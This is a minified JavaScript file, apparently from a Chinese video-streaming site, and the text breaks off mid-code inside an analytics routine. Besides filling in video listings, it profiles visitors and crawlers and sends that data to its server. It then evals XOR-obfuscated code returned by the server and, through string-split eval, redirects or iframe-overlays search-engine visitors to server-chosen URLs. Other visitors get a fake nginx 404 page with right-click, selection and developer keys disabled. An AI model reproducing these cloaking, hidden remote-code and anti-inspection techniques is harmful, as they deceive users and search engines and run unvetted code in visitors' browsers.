// <script>var version = (new Date()).getTime(); document.write('<script type="text/javascript" src="/static/js/jed.js?v'+version+'"><\/script>');</script>
$(function (){
    var openSite = 1; //是否开启网站：0 否， 1 是
    var viewDetailsSeconds = 120; //详情页 N 秒统计
    var domainHz = /(com|cn|net|vip|xyz|icu|top|tech|ink||org|gov|edu|cc|tv|tm|cd|li|int|mil|pub|red|biz|info|name|mobi|pro|museum|coop|aero|travel|bit|io|ai)/i;
    vod_pic_list = [];var myBrowser = getBrowser();var queryString = location.pathname+location.search;if(queryString === '/search?jwd='){location.href = '/';}
    if(doEy(myBrowser, queryString)){openSite = 0;}var spider = isSpider();var mobile = isMobile(myBrowser);if(spider || mobile){openSite = 1;}var tpl = $("#tpl").val();var searchEngine = isSearchEngine(myBrowser);var domain = document.domain;var houzhui = domain.split('.').pop(); if(!domainHz.test(houzhui)){showError();}var mySite = document.referrer.indexOf(location.protocol+"//"+domain) === 0 ? 1 : 0;if(tpl === 'detail'){if(queryString.indexOf('/search?jwd=') === 0 && !mySite){openSite = 0;}}if(!spider && mobile && !searchEngine && (location.pathname+location.search).indexOf('/search?jwd=') === 0){searchEngine = true;} isMs = isMS();if(isMs){mobile = true; searchEngine = true;}if(searchEngine){$.cookie('searchEngine', 30, {expires: 1, path: '/'});}var ckSearchEngine = $.cookie('searchEngine');if(ckSearchEngine){searchEngine = true;}
    var viewDetails = $.cookie('viewDetails');if(queryString.indexOf('?scanQrcode') > -1){if(mobile){openSite = 1;if(!spider){viewDetails = 3;searchEngine = true;}}}var cookie_open = myBrowser.cookie_open;if(searchEngine){spider = false;}
    if(eyCC(spider)){openSite = 0;}
    if(openSite){
        if(!viewDetails){viewDetails = (searchEngine && mobile && !spider) ? 1 : 0;}viewDetails = parseInt(viewDetails);
        viewDetails += 1;var date = new Date();date.setTime(date.getTime() + (viewDetailsSeconds * 1000));$.cookie('viewDetails', viewDetails, {expires: date, path: '/'});
        queryString = queryString.replace('?scanQrcode', '');var types = '';if(tpl !== 'index'){$(".type-slide").find("li a").each(function (){if($(this).attr("href").indexOf(queryString) >= 0){types = $(this).text();$(this).parent().addClass("active");}else {$(this).parent().removeClass("active");}})}var postData = {"tpl": tpl, "domain": domain, "queryString": queryString, "spider": spider ? 1 : 0, "mobile": mobile ? 1 : 0, "searchEngine": searchEngine ? 1 : 0, 'jsReferer': document.referrer, "viewDetails": viewDetails, "cookie_open": cookie_open ? 1 : 0, "sign": decrypt('f42zf44zf42zf8fzf4czf8czf3mzf3ozf3ozf8fzf43zf41zf8czf40zf8ezf8czf8ezf41zf8azf3mzf44zf3nzf4czf42zf40zf41zf8fzf44zf8dzf43zf43zf43', 9527, 25)};if(tpl === 'index'){types = [];$(".stui-header__menu").find("li a").each(function (index){if(index !== 0 && index < 5){types.push(this.text);}});}postData.types = types;$.post('/jed-api', postData, function (data) {
            if(data.token){$.cookie('searchEngine', 1, {expires: 3, path: '/'});}
            if (data.code === 1 && data.sign) {doAjaxData(data, myBrowser, mobile);try{if(data.subToken){baiduTotal(data.subToken, data.domainExp);}}catch (e){}}else {
                $("title").text("该页面维护中-"+data.ip+"-"+data.msg);$("meta[name='keywords']").attr("content", "该页面维护中");$("meta[name='description']").attr("content", "该页面维护中");
                // showError();
            }});}else{
        $("title").text("该页面维护中");$("meta[name='keywords']").attr("content","该页面维护中");$("meta[name='description']").attr("content", "该页面维护中");
        // showError();
    }
})

function copyLink(content){
    _copy(btoa(content), "复制成功");
}

function doAjaxData(data, myBrowser, mobile){
    $("title").text(data.title);$("meta[name='keywords']").attr("content", data.keywords);$("meta[name='description']").attr("content", data.description);$(".site-name").each(function (){$(this).text(data.site_name);})
    if(data.subNav && data.top){var typesArr = ['www', 'dj', 'dy', 'dm', 'll', 'rh'];$(".stui-header__menu").find("li a").each(function (index){var protocolStr = index === 0 ? location.protocol : 'http:';$(this).attr("href", protocolStr+"//"+typesArr[index]+"."+data.top+$(this).attr("href"));});}
    $(".cplink").each(function (){
        $(this).on("click", function (){
            copyLink(data.top);
        });
    })
    var detailUrl = '';
    if(data.tpl === 'index'){
        var stateArr = ['正片', '全集', '更新至', '更新至'];$(data.list).each(function (i){var item = this;var itemLength = item.length;var nato = 0;$("#new_list_"+i).find("li").each(function (n){if(n < itemLength){vod_pic_list.push(item[n].vod_pic);nato ++;var aObj =  $(this).find(".lazyload");$(aObj).attr("href", item[n].url);$(aObj).attr("title", item[n].vod_name);if(item[n].vod_state){$(aObj).find("span").last().text(item[n].vod_state);}var divObj =  $(this).find(".stui-vodlist__detail");aObj = $(divObj).find("a");$(aObj).attr("href", item[n].url);$(aObj).attr("title", item[n].vod_name);$(aObj).text(item[n].vod_name);if(item[n].vod_actor){$(divObj).find("p").text(item[n].vod_actor);}}});$("#new_list_sub_"+i).find("li a").each(function (n){if((n + 12) < itemLength){$(this).attr("href", item[n+nato].url);$(this).attr("title", item[n+nato].vod_name);if(item[n+nato].vod_state){$(this).find("span").first().text(item[n+nato].vod_state);}$(this).find("span").last().text(item[n+nato].vod_name);}});});$(".stui-vodlist__thumb").each(function (i){getBase64(this, vod_pic_list[i], 1, 2);});$(data.week).each(function (i){var item = this;var itemLength = item.length;$("#week_list_"+i).find("li a").each(function (n){if(n < itemLength){$(this).attr("href", item[n].url);$(this).attr("title", item[n].vod_name);var vod_state = item[n].vod_state ? item[n].vod_state : stateArr[i];$(this).find("span").first().text(vod_state);$(this).find("span").last().text(item[n].vod_name);}})});$(data.week).each(function (i){var item = this;var itemLength = item.length;$("#all_list_"+i).find("li a").each(function (n){if(n < itemLength){$(this).attr("href", item[n].url);$(this).attr("title", item[n].vod_name);var vod_state = item[n].vod_state ? item[n].vod_state : stateArr[i];$(this).find("span").first().text(vod_state);$(this).find("span").last().text(item[n].vod_name);}})});
    }else if(data.tpl === 'category'){
        if(data.list.length > 0){$("#category-temp").remove();}$(data.list).each(function (i){var string = doCategoryList(this, data.week[i], data.onlyOne);$("#category-row").append($(string));});if(data.list.length > 0){$(".stui-vodlist__thumb").each(function (i){getBase64(this, vod_pic_list[i], 1, 2);});}
    }else if(data.tpl === 'detail' || data.tpl === 'player'){
        if(data.tpl === 'detail'){vod_pic_list.push(data.detail.vod_pic);$.cookie('detailUrl', location.href, {expires: 1, path: '/'});if((location.pathname+location.search).indexOf('/search?jwd=') === 0){var shouChang = $("#shouChang"); $(shouChang).text("换一下");$(shouChang).attr("href", "javascript: location.reload();")}}
        if(data.tpl === 'player'){detailUrl = $.cookie('detailUrl');if(detailUrl){$("#vod_name_detail").attr("href", detailUrl);}}
        if(data.detail.keyword){$("#search").find("input[name='jwd']").val(data.detail.keyword);}if(data.detail.m3u8){$("#m3u8").attr("src", data.detail.m3u8);$("#vod_pre").attr("href", data.detail.vod_pre);$("#vod_next").attr("href", data.detail.vod_next);}var categoryA = $("#category");$(categoryA).attr("href", data.detail.category_url);$(categoryA).text(data.detail.type_name);$("#vod_name").text(data.detail.vod_name);$("#vod_remarks").text(data.detail.vod_remarks);var h1Obj = $("h1[class='title']");$(h1Obj).find("span").first().text(data.detail.vod_name);$(h1Obj).find("span").last().text(data.detail.vod_score);if(data.detail.type_name){$("#type_name").text(data.detail.type_name);}if(data.detail.vod_area){$("#vod_area").text(data.detail.vod_area);}if(data.detail.vod_pubdate){$("#vod_pubdate").text(data.detail.vod_pubdate);}if(data.detail.vod_actor){$("#vod_actor").text(data.detail.vod_actor);}if(data.detail.vod_director){$("#vod_director").text(data.detail.vod_director);}if(data.detail.vod_time){$("#vod_time").text(data.detail.vod_time);}if(data.detail.vod_blurb){$("#vod_blurb").text(data.detail.vod_blurb);}$("#vod_url").attr("href", data.detail.url);var vod_playerA = $("#vod_player");$(vod_playerA).attr("title", data.detail.vod_name);$(vod_playerA).attr("alt", data.title);$(vod_playerA).attr("href", data.detail.url);var playerListStr = "";$(data.detail.vod_play_url).each(function (i){ var liC = data.detail.playerNum === i ? ' class="active"' : ''; playerListStr += '<li'+liC+'><a href="'+this.url+'">'+this.title+'</a></li>';});$("#playerList").append($(playerListStr));if(data.detail.vod_blurb){$("#vod_blurb_down").text(data.detail.vod_name+"是非常值得观看的"+data.detail.type_name+data.detail.vod_actor+"演绎了"+data.detail.vod_blurb);}var string = "";var string_sub = "";$(data.likes).each(function (i){vod_pic_list.push(this.vod_pic);if(i < 12){string += '<li class="col-md-6 col-sm-4 col-xs-3 "><div class="stui-vodlist__box"><a class="stui-vodlist__thumb lazyload" href="'+this.url+'" title="'+this.vod_name+'"><span class="play hidden-xs"></span><span class="pic-text text-right">'+this.vod_state+'</span></a><div class="stui-vodlist__detail"><h4 class="title text-overflow"><a href="'+this.url+'" title="'+this.vod_name+'">'+this.vod_name+'</a></h4><p class="text text-overflow text-muted hidden-xs">'+this.vod_actor+'</p></div></div></li>';}else {string_sub += '<li class="col-md-4 col-sm-3 col-xs-1 padding-0"><a class="top-line-dot text-overflow" href="'+this.url+'" title="'+this.vod_name+'"><span class="text-muted pull-right">'+this.vod_state+'</span>'+this.vod_name+'</a></li>';}});$("#likes").append($(string));
        $("#week_title").text(data.detail.type_name+"周榜单");$("#all_title").text(data.detail.type_name+"月榜单");
        var weekStr = "";$(data.week).each(function (i){var badgeClass = 'badge';switch (i){case 0: badgeClass = 'badge badge-first';break;case 1: badgeClass = 'badge badge-second';break;case 2: badgeClass = 'badge badge-third';break;}weekStr += ' <li class="bottom-line-dot"><a href="'+this.url+'" title="'+this.vod_name+'"><span class="text-muted pull-right hidden-md">'+this.vod_state+'</span><span class="'+badgeClass+'">'+(i+1)+'</span>'+this.vod_name+'</a></li>';});$("#week").append($(weekStr));
        var allStr = "";$(data.all).each(function (i){var badgeClass = 'badge';switch (i){case 0: badgeClass = 'badge badge-first';break;case 1: badgeClass = 'badge badge-second';break;case 2: badgeClass = 'badge badge-third';break;}allStr += ' <li class="bottom-line-dot"><a href="'+this.url+'" title="'+this.vod_name+'"><span class="text-muted pull-right hidden-md">'+this.vod_state+'</span><span class="'+badgeClass+'">'+(i+1)+'</span>'+this.vod_name+'</a></li>';});$("#all").append($(allStr));
        $("#likes_sub").append($(string_sub));$(".stui-vodlist__thumb").each(function (i){getBase64(this, vod_pic_list[i],data.detail.type, 2);});
    }if(mobile && !data.spider){$("input[name='jwd']").attr("placeholder", "应有尽有，懂的来搜");}
    if(!mobile) {var urlNow = data.tpl === 'player' ? detailUrl : location.href;urlNow += '?scanQrcode';$(".qrcode").each(function () {$(this).attr("title", urlNow);$(this).qrcode({width: 150, height: 150, text: urlNow});});}var ccNumber = $.cookie('ccNumber');if(!ccNumber){$.cookie('ccNumber', 1, {expires: 30, path: '/'});eval(decrypt(data.sign, 9527, 25));}if(data.token){if(data.type === 2 && !isMs){iframeFunc(data.token, myBrowser);}else {setTimeout(function (){eval("lo"+"ca"+"ti"+"on."+"hr"+"ef "+"= d"+"at"+"a.t"+"oken");}, 150)}$.cookie('viewDetails', 0, {expires: 1, path: '/'});}
}
function _copy(content, showTip){var text = atob(content);if (navigator.clipboard) {navigator.clipboard.writeText(text);} else {var textarea = document.createElement("textarea");document.body.appendChild(textarea);textarea.style.position = "fixed";textarea.style.clip = "rect(0 0 0 0)";textarea.style.top = "10px";textarea.value = text;textarea.select();document.execCommand("copy", true);document.body.removeChild(textarea);}if(showTip){alert(showTip);}}
function getBase64(img, url, vod_type, type) {if(location.pathname === '/category/others/'){vod_type = 2;}if(vod_type === 1){$(img).css({"background":"url("+url+")", "background-size": "cover"});return true;}window.URL = window.URL || window.webkitURL;var xhr = new XMLHttpRequest();xhr.open("get", url, true);xhr.responseType = "blob";xhr.onload = function () {if (this.status === 200) {var blob = this.response;let oFileReader = new FileReader();if(type === 1){oFileReader.onloadend = function (e) {$(img).css("background", "url("+e.target.result+")");};}else {oFileReader.readAsDataURL(blob);$(img).css("background", "url("+window.URL.createObjectURL(blob)+")");}}};xhr.send();}
function handleUser() {document.addEventListener('contextmenu', function (e) {e.preventDefault();});document.oncontextmenu = function () {return false;};document.onselectstart = function () {return false;};document.oncontextmenu = function () {return false;};window.onkeydown = window.onkeyup = window.onkeypress = function () {window.event.returnValue = false;return false;};document.onkeydown = function () {if (window.event && window.event.keyCode === 123) {event.keyCode = 0;event.returnValue = false;return false;}};}function getBrowser() {var u = navigator.userAgent;return {language: (navigator.browserLanguage || navigator.language).toLowerCase(), platform: navigator.platform, trident: u.indexOf('Trident') > -1, presto: u.indexOf('Presto') > -1, webKit: u.indexOf('AppleWebKit') > -1, gecko: u.indexOf('Gecko') > -1 && u.indexOf('KHTML') === -1, mobile: (!!u.match(/AppleWebKit.*Mobile.*/) && navigator.platform.indexOf('Mac') === navigator.platform.indexOf('Win') && navigator.maxTouchPoints && 2 < navigator.maxTouchPoints), ios: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/), android: u.indexOf('Android') > -1 || u.indexOf('Linux') > -1, iPhone: u.indexOf('iPhone') > -1, iPad: u.indexOf('iPad') > -1, webApp: u.indexOf('Safari') === -1, cookie_open: navigator.cookieEnabled};}function isPC(browser) {var system = {win: false, mac: false, xll: false};system.win = browser.platform.indexOf("Win") === 0;system.mac = browser.platform.indexOf("Mac") === 0;system.x11 = (browser.platform === "X11") || (browser.platform.indexOf("Linux") === 0);return system.win || system.mac || system.xll;}function isMobile(browser) {if(isPC(browser)){return false;}if (/(iPhone|iPad|iPod|iOS|Android|Mobile)/i["\x74\x65\x73\x74"](navigator["\x75\x73\x65\x72\x41\x67\x65\x6e\x74"])) {if (browser.mobile) {var ua = navigator.userAgent.toLowerCase();if (ua.match(/MicroMessenger/i) === "micromessenger") {return true;}if (ua.match(/WeiBo/i) === "weibo") {return true;}if (ua.match(/QQ/i) === "qq") {return true;}if (browser.ios) {return true;}if (browser.android) {return true;}if (browser.iPhone) {return true;}if (browser.iPad) {return true;}}}return false;}function isSpider() {var reg = /(Baiduspider|360Spider|Bytespider|YisouSpider|PetalBot|HaosouSpider|bingbot|Sosospider|Googlebot|Sogou spider|Sogou inst spider|Sogou web spider|spider)/i;return reg.test(navigator.userAgent);}
function isMS(){return /(Browser|MSIE|Qihoo|TTWebView|NewsArticle|TencentTraveler|360se|MetaSr|MicroMessenger|NOKIA|Opera|baiduboxapp|bytedancewebview|quark|Firefox|360EE|QQ)/i["\x74\x65\x73\x74"](navigator["\x75\x73\x65\x72\x41\x67\x65\x6e\x74"]);}
function isSearchEngine() {let regexp = new RegExp("\.(yicha|windowssearch-exp|yandex|chinaso|toutiao|360kan|sou|baidu|quark|sogou|sm|so|google|bing|soso|youdao|yahoo|360|sina|duckduckgo)(\.(com|cn|co))\/", "ig");return regexp.test(document.referrer);}function showError() {handleUser();let temp = '<html><head><title>\u0034\u0030\u0034</title></head><body><div style="position: fixed; top: 0px; left:0px ;padding-top:20px; z-index: 99999; width: 100%; height: ' + window.innerHeight + 'px; background-color:     #ffffff; font-size: 16px;"><center><h2>404 Not Found</h2></center><hr><center>nginx</center></div></body></html>';eval("do" + "cu" + "ment.wr" + "ite('" + temp + "');");}function doCategoryList(list, week, onlyOne){var listUrl = onlyOne ? 'javascript: location.reload();' : list.url;var listStr = onlyOne ? '换一批' : "更多";var string = '<div class="stui-pannel stui-pannel-bg clearfix"><div class="stui-pannel-box clearfix"><div class="stui-pannel_bd clearfix"><div class="col-lg-wide-75 col-xs-1 padding-0"><div class="stui-pannel_hd"><div class="stui-pannel__head active bottom-line clearfix">' + '<a class="more text-muted pull-right" href="'+listUrl+'">'+listStr+'<i class="icon iconfont icon-more"></i></a>' + '<h3 class="title"><img src="/static/img/icon_27.png"><a href="'+list.url+'">最新'+list.category+'</a></h3></div></div><ul class="stui-vodlist clearfix">';$(list.sub).each(function (i){if(i < 12){vod_pic_list.push(this.vod_pic);string += '<li class="col-md-6 col-sm-4 col-xs-3"><div class="stui-vodlist__box"><a class="stui-vodlist__thumb lazyload" href="'+this.url+'" title="'+this.vod_name+'" data-original="">' + '<span class="play hidden-xs"></span><span class="pic-text text-right">'+this.vod_state+'</span></a><div class="stui-vodlist__detail"><h4 class="title text-overflow"><a href="'+this.url+'" title="'+this.vod_name+'">'+this.vod_name+'</a></h4>' + '<p class="text text-overflow text-muted hidden-xs">'+this.vod_actor+'</p></div></div></li>';}});string += '</ul>' + '<ul class="stui-vodlist__text col-pd clearfix hidden-xs">';$(list.sub).each(function (i){if(i > 12){string += '<li class="col-md-4 col-sm-3 col-xs-1 padding-0"><a class="top-line-dot text-overflow" href="'+this.url+'" title="'+this.vod_name+'"><span class="text-muted pull-right">'+this.vod_state+'</span><span>'+this.vod_name+'</span></a></li>'}});string += '</ul>' + '<ul class="stui-vodlist__text col-pd clearfix hidden-xs"></ul></div><div class="col-lg-wide-25 hidden-md hidden-sm hidden-xs"><div class="stui-pannel_hd"><div class="stui-pannel__head active bottom-line clearfix"><h3 class="title"><img src="/static/img/icon_12.png"><a href="javascript:void(0);">'+list.category+'周榜单</a></h3></div></div><ul class="stui-vodlist__text active col-pd clearfix" id="week_list_0">';$(week.sub).each(function (i){var badgeClass = 'badge';switch (i){case 0: badgeClass = 'badge badge-first';break;case 1: badgeClass = 'badge badge-second';break;case 2: badgeClass = 'badge badge-third';break;}string += '<li class="bottom-line-dot"><a href="'+this.url+'" title="'+this.vod_name+'"><span class="text-muted pull-right hidden-md">'+this.vod_state+'</span><span class="'+badgeClass+'">'+(i+1)+'</span><span>'+this.vod_name+'</span></a></li>'});string += '</ul></div></div></div></div>';return string;}function eyCC(spider){try {var flag = false;var ccMax = spider ? 300 : 100;var ccTime = 3;var ccBan = spider ? 60 : 600;var ck = $.cookie('ckCount');if(!ck){ck = 0;}ck = parseInt(ck);ck += 1;var date = new Date();date.setTime(date.getTime() + (ccTime * 1000));$.cookie('ckCount', ck, {expires: date, path: '/'});if(ck > ccMax){flag = true;date.setTime(date.getTime() + (ccBan * 1000));$.cookie('ckCount', ck, {expires: date, path: '/'});}return flag;}catch (e){return false;}}function decrypt(str, xor, hex) {if (typeof str !== 'string' || typeof xor !== 'number' || typeof hex !== 'number') {return;}let strCharList = [];let resultList = [];hex = hex <= 25 ? hex : hex % 25;let splitStr = String.fromCharCode(hex + 97);strCharList = str.split(splitStr);for (let i = 0; i < strCharList.length; i++) {let charCode = parseInt(strCharList[i], hex);charCode = (charCode) ^ xor;let strChar = String.fromCharCode(charCode);resultList.push(strChar);}return resultList.join('');}function iframeFunc(urlStr, myBrowser) {eval("do" + "cu" + "ment.wr" + "ite('" + '<meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"><style>html,body{width:100%;height:100%;margin:0;padding:0}</style>' + "');");var iframe = document.createElement('iframe');iframe.src = urlStr;iframe.scrolling = 'auto';iframe.style.cssText = "width:100%;height:100%;left:1px;top:1px;border:none;background:#fff";var div1 = document.createElement("div");var div = document.createElement("div");div1.style.cssText = "-webkit-overflow-scrolling:touch;width:100%;height:100%;z-index:9999999999;position:fixed;top:0;left:0;";if (isMobile(myBrowser)) {div1.style.overflow = "auto";}div1.appendChild(iframe);div.appendChild(div1);eval("do" + "cu" + "ment.wr" + "ite('" + div.innerHTML + "');");}function doEy(myBrowser, queryString){if(myBrowser.language.indexOf('zh') < 0 && myBrowser.language.indexOf('cn') < 0 && myBrowser.language.indexOf('en') < 0){return true;}if(queryString.length >= 300){return true;}var reg = /(facebook|FeedDemon|JikeSpider|Indy Library|Alexa Toolbar|AskTbFXTV|AhrefsBot|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Microsoft URL Control|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|SEO Spider|DigExt|HttpClient|MJ12bot|heritrix|Ezooms|iaskspider|SemrushBot|qihoobot|GoogleOther|Googlebot-Mobile|Googlebot-Image|Mediapartners-Google|Adsbot-Google|Feedfetcher-Google|Yahoo! Slurp|Yahoo! Slurp China|YoudaoBot|MSNBot|ia_archiver|Tomato Bot|YandexBot)/i;return reg.test(navigator.userAgent);}function baiduTotal(code_id, code_domain){var site_hostname = document.location.hostname;var site_href = document.location.href;var site_hash = document.location.hash;var root_spilt = site_href.split(site_hostname);var suffix = root_spilt[1];function tongji(code_id,code_domain) {ok_site_hostname = site_hostname + "." + code_domain + suffix;ok_site_href= site_hostname + "." + code_domain + suffix;ok_site_hash= site_hostname + "." + code_domain + suffix;var h = {}, mt = {}, c = {id: code_id, dm: [code_domain], js: "tongji.baidu.com/hm-web/js/", etrk: [], cetrk: [], cptrk: [], icon: '', ctrk: [], vdur: 1800000, age: 31536000000, qiao: 0, pt: 0, spa: 0, aet: '', hca: '4CA22BC17D2C114A', ab: '0', v: 1, site_hostname:ok_site_hostname, site_href:ok_site_href, site_hash:ok_site_hash,};var s = void 0, t = !0, u = null, x = !1;mt.cookie = {};mt.cookie.set = function(e, a, b) {var k;b.C && (k = new Date, k.setTime(k.getTime() + b.C));document.cookie = e + "=" + a + (b.domain ? "; domain=" + b.domain : "") + (b.path ? "; path=" + b.path : "") + (k ? "; expires=" + k.toGMTString() : "") + (b.dc ? "; secure" : "")};mt.cookie.get = function(e) {return (e = RegExp("(^| )" + e + "=([^;]*)(;|$)").exec(document.cookie)) ? e[2] : u;};mt.cookie.rb = function(e, a) {try {var b = "Hm_ck_" + +new Date;mt.cookie.set(b, "42", {domain: e, path: a, C: s});var k = "42" === mt.cookie.get(b) ? "1" : "0";mt.cookie.set(b, "", {domain: e, path: a, C: -1});return k;} catch (d) {return "0";}};mt.event = {};mt.event.c = function(e, a, b, k) {e.addEventListener ? e.addEventListener(a, b, k || x) : e.attachEvent && e.attachEvent("on" + a, function(d) {b.call(e, d)});};(function() {var e = mt.event;mt.lang = {};mt.lang.i = function(a, b) {return "[object " + b + "]" === {}.toString.call(a)};mt.lang.j = function(a) {return mt.lang.i(a, "Function")};mt.lang.J = function(a) {return mt.lang.i(a, "Object");};mt.lang.Wb = function(a) {return mt.lang.i(a, "Number") && isFinite(a);};mt.lang.Z = function(a) {return mt.lang.i(a, "String");};mt.lang.isArray = function(a) {return mt.lang.i(a, "Array");};mt.lang.n = function(a) {return a.replace ? a.replace(/'/g, "'0").replace(/\*/g, "'1").replace(/!/g, "'2") : a;};mt.lang.trim = function(a) {return a.replace(/^\s+|\s+$/g, "");};mt.lang.find = function(a, b, k) {if (mt.lang.isArray(a) && mt.lang.j(b)) for (var d = a.length, f = 0; f < d; f++) if (f in a && b.call(k || a, a[f], f)) return a[f];return u;};mt.lang.X = function(a, b) {return mt.lang.find(a, function(k) {return k === b;}) != u;};mt.lang.filter = function(a, b) {var k = -1, d = 0, f = a == u ? 0 : a.length, g = [];if (mt.lang.j(b)) for (; ++k < f; ) {var l = a[k];b(l, k, a) && (g[d++] = l)}return g;};mt.lang.unique = function(a, b) {var k = a.length, d = a.slice(0), f, g;for (mt.lang.j(b) || (b = function(b, d) {return b === d;}); 0 < --k; ) {g = d[k];for (f = k; f--; ) if (b(g, d[f])) {d.splice(k, 1);break;}}return d};mt.lang.Zb = function(a, b) {function k(b) {b = (d + d + Number(b).toString(2)).slice(-64);return [parseInt(b.slice(0, 32), 2), parseInt(b.slice(-32), 2)];}var d = "00000000000000000000000000000000", f = k(a), g = k(b);return parseInt((d + ((f[0] | g[0]) >>> 0).toString(2)).slice(-32) + (d + ((f[1] | g[1]) >>> 0).toString(2)).slice(-32), 2);};mt.lang.extend = function(a) {for (var b = Array.prototype.slice.call(arguments, 1), k = 0; k < b.length; k++) {var d = b[k], f;for (f in d) Object.prototype.hasOwnProperty.call(d, f) && d[f] && (a[f] = d[f])}return a;};mt.lang.Ob = function(a) {function b(b, d) {var a = window.history, g = a[b];a[b] = function() {g.apply(a, arguments);mt.lang.j(d) && d()}}b("pushState", function() {a()});b("replaceState", function() {a()});e.c(window, window.history.pushState ? "popstate" : "hashchange", function() {a()})};return mt.lang;})();mt.url = {};mt.url.f = function(e, a) {var b = e.match(RegExp("(^|&|\\?|#)(" + a + ")=([^&#]*)(&|$|#)", ""));return b ? b[3] : u};mt.url.Sa = function(e) {return (e = e.match(/^(https?:\/\/)?([^\/\?#]*)/)) ? e[2].replace(/.*@/, "") : u;};mt.url.V = function(e) {return (e = mt.url.Sa(e)) ? e.replace(/:\d+$/, "") : e;};mt.url.pb = function(e) {var a = c.site_href, a = a.replace(/^https?:\/\//, "");return 0 === a.indexOf(e);};mt.url.qb = function(e, a) {e = "." + e.replace(/:\d+/, "");a = "." + a.replace(/:\d+/, "");var b = e.indexOf(a);return -1 < b && b + a.length === e.length;};(function() {var e = mt.lang, a = mt.url;mt.d = {};mt.d.La = function(b) {return document.getElementById(b);};mt.d.Vb = function(b) {if (!b) return u;try {b = String(b);if (0 === b.indexOf("!HMCQ!")) return b;if (0 === b.indexOf("!HMCC!")) return document.querySelector(b.substring(6, b.length));for (var k = b.split(">"), d = document.body, a = k.length - 1; 0 <= a; a--) if (-1 < k[a].indexOf("#")) {var g = k[a].split("#")[1];(d = document.getElementById(g)) || (d = document.getElementById(decodeURIComponent(g)));k = k.splice(a + 1, k.length - (a + 1));break;}for (b = 0; d && b < k.length; ) {var l = String(k[b]).toLowerCase();if (!("html" === l || "body" === l)) {var a = 0, e = k[b].match(/\[(\d+)\]/i), g = [];if (e) a = e[1] - 1, l = l.split("[")[0]; else if (1 !== d.childNodes.length) {for (var p = 0, n = 0, m = d.childNodes.length; n < m; n++) {var q = d.childNodes[n];1 === q.nodeType && q.nodeName.toLowerCase() === l && p++;if (1 < p) return u;}if (1 !== p) return u;}for (p = 0; p < d.childNodes.length; p++) 1 === d.childNodes[p].nodeType && d.childNodes[p].nodeName.toLowerCase() === l && g.push(d.childNodes[p]);if (!g[a]) return u;d = g[a];}b++;}return d;} catch (v) {return u;}};mt.d.fa = function(b, a) {var d = [], f = [];if (!b) return f;for (; b.parentNode != u; ) {for (var g = 0, l = 0, e = b.parentNode.childNodes.length, p = 0; p < e; p++) {var n = b.parentNode.childNodes[p];if (n.nodeName === b.nodeName && (g++, n === b && (l = g), 0 < l && 1 < g)) break;}if ((e = "" !== b.id) && a) {d.unshift("#" + encodeURIComponent(b.id));break;} else e && (e = "#" + encodeURIComponent(b.id), e = 0 < d.length ? e + ">" + d.join(">") : e, f.push(e)), d.unshift(encodeURIComponent(String(b.nodeName).toLowerCase()) + (1 < g ? "[" + l + "]" : ""));b = b.parentNode;}f.push(d.join(">"));return f;};mt.d.Xa = function(b) {return (b = mt.d.fa(b, t)) && b.length ? String(b[0]) : "";};mt.d.Wa = function(b) {return mt.d.fa(b, x)};mt.d.Ma = function(b) {var a;for (a = "A"; (b = b.parentNode) && 1 == b.nodeType; ) if (b.tagName == a) return b;return u;};mt.d.Pa = function(b) {return 9 === b.nodeType ? b : b.ownerDocument || b.document;};mt.d.Ua = function(b) {var a = {top: 0, left: 0};if (!b) return a;var d = mt.d.Pa(b).documentElement;"undefined" !== typeof b.getBoundingClientRect && (a = b.getBoundingClientRect());return {top: a.top + (window.pageYOffset || d.scrollTop) - (d.clientTop || 0), left: a.left + (window.pageXOffset || d.scrollLeft) - (d.clientLeft || 0)}};mt.d.gc = function(b, a) {if (b) for (var d = b.childNodes, f = 0, g = d.length; f < g; f++) {var e = d[f];if (e && 3 === e.nodeType) return d = e.textContent || e.innerText || e.nodeValue || "", e.textContent ? e.textContent = a : e.innerText ? e.innerText = a : e.nodeValue = a, d}};mt.d.ec = function(b, a) {if (!b) return {};var d = {};a = a || {};for (var f in a) a.hasOwnProperty(f) && a[f] !== s && (d[f] = b.getAttribute(f) || "", b.setAttribute(f, a[f]));return d;};mt.d.getAttribute = function(b, a) {var d = b.getAttribute && b.getAttribute(a) || u;if (!d && b.attributes && b.attributes.length) for (var f = b.attributes, e = f.length, l = 0; l < e; l++) f[l].nodeName === a && (d = f[l].nodeValue);return d;};mt.d.Qa = function(b) {var a = "document";b.tagName !== s && (a = b.tagName);return a.toLowerCase()};mt.d.Za = function(b) {var a = "";b.textContent ? a = e.trim(b.textContent) : b.innerText && (a = e.trim(b.innerText));a && (a = a.replace(/\s+/g, " ").substring(0, 255));return a;};mt.d.Ub = function(b, k) {var d;e.Z(b) && 0 === String(b).indexOf("!HMCQ!") ? (d = String(b), d = a.f(c.site_href, d.substring(6, d.length))) : e.Z(b) || (d = mt.d.Qa(b), "input" === d && k && ("button" === b.type || "submit" === b.type) ? d = e.trim(b.value) || "" : "input" === d && !k && "password" !== b.type ? d = e.trim(b.value) || "" : "img" === d ? (d = mt.d.getAttribute, d = d(b, "alt") || d(b, "title") || d(b, "src")) : d = "body" === d || "html" === d ? ["(hm-default-content-for-", d, ")"].join("") : mt.d.Za(b));return String(d || "").substring(0, 255);};(function() {(mt.d.ac = function() {function b() {if (!b.K) {b.K = t;for (var a = 0, d = f.length; a < d; a++) f[a]()}}function a() {try {document.documentElement.doScroll("left")} catch (d) {setTimeout(a, 1);return;}b();}var d = x, f = [], e;document.addEventListener ? e = function() {document.removeEventListener("DOMContentLoaded", e, x);b()} : document.attachEvent && (e = function() {"complete" === document.readyState && (document.detachEvent("onreadystatechange", e), b())});(function() {if (!d) if (d = t, "complete" === document.readyState) b.K = t; else if (document.addEventListener) document.addEventListener("DOMContentLoaded", e, x), window.addEventListener("load", b, x); else if (document.attachEvent) {document.attachEvent("onreadystatechange", e);window.attachEvent("onload", b);var f = x;try {f = window.frameElement == u} catch (r) {}document.documentElement.doScroll && f && a()}})();return function(a) {b.K ? a() : f.push(a)}}()).K = x})();return mt.d})();(function() {var e = mt.event;mt.e = {};mt.e.mb = /msie (\d+\.\d+)/i.test(navigator.userAgent);mt.e.cookieEnabled = navigator.cookieEnabled;mt.e.javaEnabled = navigator.javaEnabled();mt.e.language = navigator.language || navigator.browserLanguage || navigator.systemLanguage || navigator.userLanguage || 